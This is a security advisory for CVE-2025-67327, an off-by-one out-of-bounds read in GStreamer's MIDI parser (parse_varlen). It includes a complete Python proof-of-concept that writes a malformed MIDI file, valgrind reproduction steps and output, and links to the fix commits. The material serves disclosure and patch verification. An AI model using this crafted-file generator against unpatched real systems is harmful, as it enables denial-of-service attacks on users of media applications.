Details
- Version: 1.26.0 through 1.26.9 (fixed in 1.26.10)
- CVE ID: CVE-2025-67327
- Vendor Homepage: https://gstreamer.freedesktop.org
- Affected Product Code Base: gst-plugins-bad 1.26.0-1.26.9 (vulnerable), fixed in 1.26.10
- Affected Component:
subprojects/gst-plugins-bad/gst/midi/midiparse.c,parse_varlen()function, line 533 - CVE Reference: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-67327
- Exploit Author: VyPr AI
- Fix Status: The fix was backported to the 1.26 stable branch and released in version 1.26.10
Description
An out-of-bounds read in the parse_varlen() function of GStreamer Project v1.26.9 allows attackers to cause a Denial of Service (DoS) via a crafted Midi file.
Attack Vectors
User must open or process a malicious MIDI file (.mid) with a specially crafted variable-length integer at buffer boundary. Triggers when GStreamer application parses the MIDI file.
Steps to Reproduce
-
Run following script to generate malicious MIDI file
malicious_varlen_oob.mid#!/usr/bin/env python3 """ GStreamer MIDI Parser - Variable Length Parser Off-by-One OOB Vulnerability: Off-by-one error in parse_varlen() function CVE: CVE-2025-67327 Original vulnerable code (midiparse.c line 533): for (i = 0; i < 4; i++) { if (size == 0) // BUG: Should be "size <= i" return 0; res = (res << 7) | ((data[i]) & 0x7f); ... } Attack: When i=1 and size=1, check passes (size != 0) But data[1] is out of bounds! """ import struct def create_varlen_oob_midi(): midi_data = bytearray() # MThd chunk (MIDI header) midi_data.extend(b'MThd') midi_data.extend(struct.pack('>I', 6)) midi_data.extend(struct.pack('>H', 0)) # Format 0 midi_data.extend(struct.pack('>H', 1)) # 1 track midi_data.extend(struct.pack('>H', 480)) # Division # MTrk chunk (Track data) track_data = bytearray() # Valid MIDI event first track_data.append(0x00) # Delta time = 0 track_data.append(0x90) # Note On track_data.append(0x3C) # Middle C track_data.append(0x40) # Velocity 64 # ATTACK: Multi-byte variable-length integer at buffer boundary # 0x80 indicates "more bytes follow" track_data.append(0x80) # High bit set = continuation byte expected # MISSING: Second byte - parser will try to read data[1] with size=1 # Add MTrk chunk to MIDI file midi_data.extend(b'MTrk') midi_data.extend(struct.pack('>I', len(track_data))) midi_data.extend(track_data) return bytes(midi_data) def main(): output_file = 'malicious_varlen_oob.mid' malicious_midi = create_varlen_oob_midi() with open(output_file, 'wb') as f: f.write(malicious_midi) print(f"[+] Generated {output_file} ({len(malicious_midi)} bytes)") print(f"[*] Test: valgrind gst-launch-1.0 filesrc location={output_file} ! midiparse ! fakesink") if __name__ == '__main__': main()python3 poc_varlen_oob.py -
Run Valgrind on vulnerable GStreamer build to observe out-of-bounds read
export GST_PLUGIN_PATH=~/.local/share/gstreamer-1.0/plugins:/usr/lib64/gstreamer-1.0 valgrind gst-launch-1.0 filesrc location=malicious_varlen_oob.mid ! midiparse ! fakesink -
The Valgrind output shows invalid read when parse_varlen() accesses data[1] with size=1
Proof of Concept
Valgrind Output (GStreamer 1.26.9 vulnerable build)
Key Evidence: Look for Invalid read of size 1 at parse_varlen (midiparse.c:533) - the off-by-one bug - and Address 0x... is 1 bytes after a block showing the out-of-bounds access.
==3392992== Memcheck, a memory error detector
==3392992== Copyright (C) 2002-2024, and GNU GPL'd, by Julian Seward et al.
==3392992== Using Valgrind-3.26.0 and LibVEX; rerun with -h for copyright info
==3392992== Command: gst-launch-1.0 filesrc location=malicious_varlen_oob.mid ! midiparse ! fakesink
==3392992==
Setting pipeline to PAUSED ...
Pipeline is PREROLLING ...
==3392992== Invalid read of size 1
==3392992== at 0x48661EA: parse_varlen (midiparse.c:533)
==3392992== by 0x4866A43: handle_next_event.constprop.0 (midiparse.c:902)
==3392992== by 0x4866F8B: gst_midi_parse_loop (midiparse.c:1396)
==3392992== by 0x4942BB3: gst_task_func (in /usr/lib64/libgstreamer-1.0.so.0.2609.0)
==3392992== by 0x4A78531: ??? (in /usr/lib64/libglib-2.0.so.0.8200.4)
==3392992== by 0x4A72D91: ??? (in /usr/lib64/libglib-2.0.so.0.8200.4)
==3392992== by 0x4C25AA3: start_thread (pthread_create.c:447)
==3392992== by 0x4CBEA63: clone (clone.S:100)
==3392992== Address 0x5474f26 is 0 bytes after a block of size 27 alloc'd
==3392992== at 0x4846828: malloc (in /usr/libexec/valgrind/vgpreload_memcheck-amd64-linux.so)
==3392992== by 0x4A49B09: g_malloc (in /usr/lib64/libglib-2.0.so.0.8200.4)
==3392992== by 0x59EF884: ??? (in /usr/lib64/libgstbase-1.0.so.0.2609.0)
==3392992== by 0x59F0DE9: gst_adapter_take (in /usr/lib64/libgstbase-1.0.so.0.2609.0)
==3392992== by 0x4866EA6: gst_midi_parse_loop (midiparse.c:1387)
==3392992== by 0x4942BB3: gst_task_func (in /usr/lib64/libgstreamer-1.0.so.0.2609.0)
==3392992== by 0x4A78531: ??? (in /usr/lib64/libglib-2.0.so.0.8200.4)
==3392992== by 0x4A72D91: ??? (in /usr/lib64/libglib-2.0.so.0.8200.4)
==3392992== by 0x4C25AA3: start_thread (pthread_create.c:447)
==3392992== by 0x4CBEA63: clone (clone.S:100)
==3392992==
ERROR: from element /GstPipeline:pipeline0/GstMidiParse:midiparse0: Internal data stream error.
Additional debug info:
midiparse.c(1445): gst_midi_parse_loop (): /GstPipeline:pipeline0/GstMidiParse:midiparse0:
streaming stopped, reason error (-5)
ERROR: pipeline doesn't want to preroll.
Setting pipeline to NULL ...
Freeing pipeline ...
==3392992==
==3392992== HEAP SUMMARY:
==3392992== in use at exit: 293,962 bytes in 1,714 blocks
==3392992== total heap usage: 19,925 allocs, 18,211 frees, 2,399,580 bytes allocated
==3392992==
==3392992== For a detailed leak analysis, rerun with: --leak-check=full
==3392992==
==3392992== For lists of detected and suppressed errors, rerun with: -s
==3392992== ERROR SUMMARY: 3 errors from 1 contexts (suppressed: 0 from 0)
References
- CVE Entry: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-67327
- Fix Commit (main): https://gitlab.freedesktop.org/gstreamer/gstreamer/-/commit/288c9e0d47b6619ddc3a6686597bed0658dd14e3
- Fix Commit (1.26 backport): https://gitlab.freedesktop.org/gstreamer/gstreamer/-/commit/2193b0ee18ac66603303b131dcdab0b498d562e7
- Merge Request: https://gitlab.freedesktop.org/gstreamer/gstreamer/-/merge_requests/10276
- Backport MR: https://gitlab.freedesktop.org/gstreamer/gstreamer/-/merge_requests/10280
- GStreamer Project: https://gstreamer.freedesktop.org